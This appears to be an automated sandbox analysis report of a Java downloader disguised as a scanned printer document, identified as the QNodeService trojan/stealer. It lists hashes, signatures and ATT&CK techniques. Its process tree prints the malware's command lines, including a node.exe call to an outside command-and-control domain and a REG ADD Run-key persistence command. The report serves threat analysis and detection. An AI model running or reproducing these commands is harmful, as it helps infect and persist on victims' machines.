Analysis

  • max time kernel
    119s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    27-10-2020 12:52

General

  • Target

    Scanned from a Xerox Multifunction Printer.jar

  • Size

    71KB

  • MD5

    ef50330c3ba37193196fb2678b81c358

  • SHA1

    fedda1f30f37cfbcd7a30fadfb32da968923bc55

  • SHA256

    51a266885dd543b93c91be648fd52e64fae3a3af8a17616e86357facb982622f

  • SHA512

    ea5a1a3b90f3663dea5408d49b6e453872fd6446d688ac409d9c750478c17b1b8ab2e47ea95e2f1860f9af4cf5b83fbbf806671781c09d6b2e08ef880f23b024

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\Scanned from a Xerox Multifunction Printer.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4032
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\1c07e8ca.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3672
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain karimrnosa2.home-webserver.de
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1788
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_orce3J\boot.js --hub-domain karimrnosa2.home-webserver.de
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1360
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_orce3J\boot.js --hub-domain karimrnosa2.home-webserver.de
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1236
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "6d525496-aed7-45ef-84d3-bc52e5b4f80b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3580
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "6d525496-aed7-45ef-84d3-bc52e5b4f80b" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:3936

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp
    MD5

    b5b6fc5dff76ce769155a53b585761c7

    SHA1

    978fd321293bd9adace5a61b7f5670c907d642c2

    SHA256

    cdd0d79db4dd47ccdca88b7c8f29d7c42ea962c25d6d9a8eed97f26858495f25

    SHA512

    4533570602e34d953a86ce0b529561d1f87112fe9ed7a3ec752d6275c01fd4c9c9544aee289d2cc0f95f3a585de205549312cd023579569d2c73f1407c2ac0dd

  • C:\Users\Admin\AppData\Local\Temp\1c07e8ca.tmp
    MD5

    ef50330c3ba37193196fb2678b81c358

    SHA1

    fedda1f30f37cfbcd7a30fadfb32da968923bc55

    SHA256

    51a266885dd543b93c91be648fd52e64fae3a3af8a17616e86357facb982622f

    SHA512

    ea5a1a3b90f3663dea5408d49b6e453872fd6446d688ac409d9c750478c17b1b8ab2e47ea95e2f1860f9af4cf5b83fbbf806671781c09d6b2e08ef880f23b024

  • C:\Users\Admin\AppData\Local\Temp\_qhub_node_orce3J\boot.js
    MD5

    3859487feb5152e9d1afc4f8cd320608

    SHA1

    7bf154c9ddf3a71abf15906cdb60773e8ae07b62

    SHA256

    8d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13

    SHA512

    826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • memory/1236-182-0x000001149F740000-0x000001149F741000-memory.dmp
    Filesize

    4KB

  • memory/1236-180-0x0000000000000000-mapping.dmp
  • memory/1360-176-0x0000000000000000-mapping.dmp
  • memory/1360-178-0x000001DB6D0C0000-0x000001DB6D0C1000-memory.dmp
    Filesize

    4KB

  • memory/1788-175-0x000003F5CFE80000-0x000003F5CFE81000-memory.dmp
    Filesize

    4KB

  • memory/1788-173-0x0000000000000000-mapping.dmp
  • memory/3580-183-0x0000000000000000-mapping.dmp
  • memory/3672-55-0x0000000000000000-mapping.dmp
  • memory/3936-184-0x0000000000000000-mapping.dmp